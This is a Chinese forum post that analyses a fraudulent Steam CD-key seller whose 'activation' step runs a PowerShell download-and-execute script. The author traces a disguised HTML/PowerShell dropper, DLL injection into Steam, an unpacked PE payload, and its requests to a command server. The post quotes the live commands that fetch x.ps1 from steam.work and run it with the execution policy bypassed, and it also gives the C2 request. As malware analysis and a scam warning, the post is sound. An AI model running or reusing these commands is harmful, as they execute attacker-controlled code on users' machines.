找回密码
 立即注册
搜索
查看: 108|回复: 0

关于 steam.work 激活码诈骗脚本的分析

[复制链接]

48

主题

0

回帖

1578

积分

管理员

积分
1578
发表于 2025-2-19 10:02:21 | 显示全部楼层 |阅读模式
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:
1 k. W7 J. _" f1 S8 |* c# a
$ t; S: s8 J$ j! c# D7 L2 ]+ ]4 p* [/ q: Q% u1 G* _& y
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?) R$ }( E' l, H3 b: S+ V+ T
' Q6 Z3 b. v; b
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:
- D- k* A8 Z( z; ]
4 m4 j1 [  ~" z% h好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
; M% b, z5 d; C+ n7 _! w/ p
  V# b& C  u5 F. F  v% {那么真实的代码就只剩两行了:
' G6 }+ b; }9 `. C; N+ ^) j[PowerShell] 纯文本查看 复制代码
, b4 K" @8 m8 B+ m?
5 N+ ]3 a8 Z) v; d! `% m4 H- Z
11 h& M- y" |) y! @
22 _6 k0 G$ }& ]) a- k, P
irm steam.work/pwsDwFile/new1 -OutFile x.ps1
( V6 I9 L# B& o' {" O' G8 k0 A* Bpowershell.exe -ExecutionPolicy Bypass -File x.ps1;
5 {1 _- u) e' S; j" A: I
% s- m% k* q9 @8 z" |9 t1 g

+ D0 }! H0 f, r) i; F" D9 f2 y+ U/ V/ W# C' r' \8 A
/ n2 R5 p9 g' {1 ?

9 R, Z& u* n1 j; [. {5 b% u& m) A% ?3 N) B  r
看得出来,又是下脚本...我们把这玩意也下下来看一眼:1 d' l7 N4 D; ]; W3 @
( \/ p+ m3 \2 l) z
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!$ Y% s  V6 b  L
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:' h' ^. |* b" ~& \
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
% T5 L/ ]  |& n/ W4 q1 Z
, [7 ?' @8 b0 i" H  |2. 里面有 zlib.inflate (图里打错了)
$ k8 k4 O: R: h6 J! @  A+ `% n% m& q8 Z' y

; f9 U' P% `" o$ {! [* o看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:  u3 A5 P7 n( R9 ^
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西, j) c* c, e. o/ E( G( }

" }4 A4 a, |4 \8 @; N. d
[eax + 0x4 * 3] -> 解压出缓冲区指针
2 |7 T7 ?4 f" P0 U3 K[eax + 0x4 * 5] -> 解压出数据长度

4 p) \, h7 l7 V& H不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
: i0 j% N+ o1 @这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
& ]# B0 I, J# c& `+ P; M& Y! X' u" W3 M3 e
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?- j" c, k$ b" f9 T; j- F  c

# J2 P) l$ W  C' Q: {# r" z& `这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
, @% W# N0 U* O5 l1 H: B5 Q; F: t/ n8 k
(接前文)! H, o  {6 V7 I+ e+ h5 m
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数+ {. [! p8 _" K+ Q0 k
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
2 T* k" b2 v# b然后就断下来了,我们来看一眼
" K! v$ N) s: q. _5 e3 H) N( ]  K4 L  {; n% R* R
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下& j8 J, C' |" a+ S& x
InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:" Y; S# r: z  d! w8 ^) t% g
9 o0 d/ I5 }) u$ D7 b* m/ w
HTTP1.1 POST http://api.steam.work/api/integral/vs
* o' n  Z9 C0 h( t2 [Referer: version
# j0 X  o/ ?& i  q9 V6 ?, e; buser-agent: steam& J1 ^' Q* @: i3 T. u! i
{"sign":"ckv"}
& I& ]5 z3 R1 @8 [
4 M  o9 T- [- O% t! l6 M

9 Q  x# _5 N& i. @  l; r, |6 J8 N- U4 Q+ r

+ p8 Q& t& w- e& ^  x- n: M返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
8 j7 s! I- ^3 k$ [% fsqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)
: Y/ |" @+ w- U0 W
# s2 v% I1 M. w8 t0 h. B4 X% z于是转移到一台实机上继续分析。' O* f8 N7 K& m

! ?9 Y4 S! ~# [% W8 l+ ^

' q% F* c; d( @# O3 |直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
* R' V$ O1 W1 e. C- g' r把请求掏出来看看:
. ^& U2 n" c; @( @4 K% K8 @
7 `( x8 p( C' i看起来是成功了,返回一个 code 和一个 data;8 ?9 r8 r! j2 u6 o- F
这个 ID 又是啥?2 D) t& P' |$ u$ T; x9 |

/ a" G: S& C3 u+ S$ _  ?: H  _, [' V哦,哈迪斯的 App ID; ]7 H6 Y9 ]# m% W  O; M& T
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里2 l) p# k( ^. d& x5 x% E- s1 i
C:\Program Files (x86)\Steam\package\data2 J% R$ e$ y0 M
' U: B2 q4 {+ h6 g2 @: n# g
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!4 N2 x6 [9 \  J5 X$ _; Y
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开/ [0 `) w) A" r8 i) M: A0 B
5 J: X- R- t4 u# i9 y
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:
' g0 O& y4 ^- \4 B1 c
' v/ H# h# r. E! o3 {有个appid,和两个不认识的hex;把键名拿去搜搜看:3 P! T" s! B) W; `5 B* E3 z

/ m0 z  w1 m% [
! z! B/ B5 v! K$ R原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!% ^9 i# c$ Y1 j3 s4 f6 }) Y, X' h
/ r- g' N! R4 c% j  B4 W
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey
5 X1 ~5 y. R4 X  A5 }
( k( n1 I( ~! z7 S8 y( U

( B; }. k0 ^" {0 \2 s6 h+ q* z" Q# j, Q6 m& Z
% {: y9 o" r) l* M" ]" k
0 ]+ T( V9 R! \3 O

+ ^, G8 t: Y( @" e
, B# K/ a! w' \
5 [4 v3 x5 d' a1 w( V
1 E7 {: Q( x! E# {4 v- N- t/ A) g6 W
; x* x; n. a4 Q# \0 F3 \% M, ?0 g

! I+ m; c; T" w- T7 \' F
' X9 u  B) R* m1 ?: @/ z. a9 O; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-3-21 11:57 PM , Processed in 0.093924 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表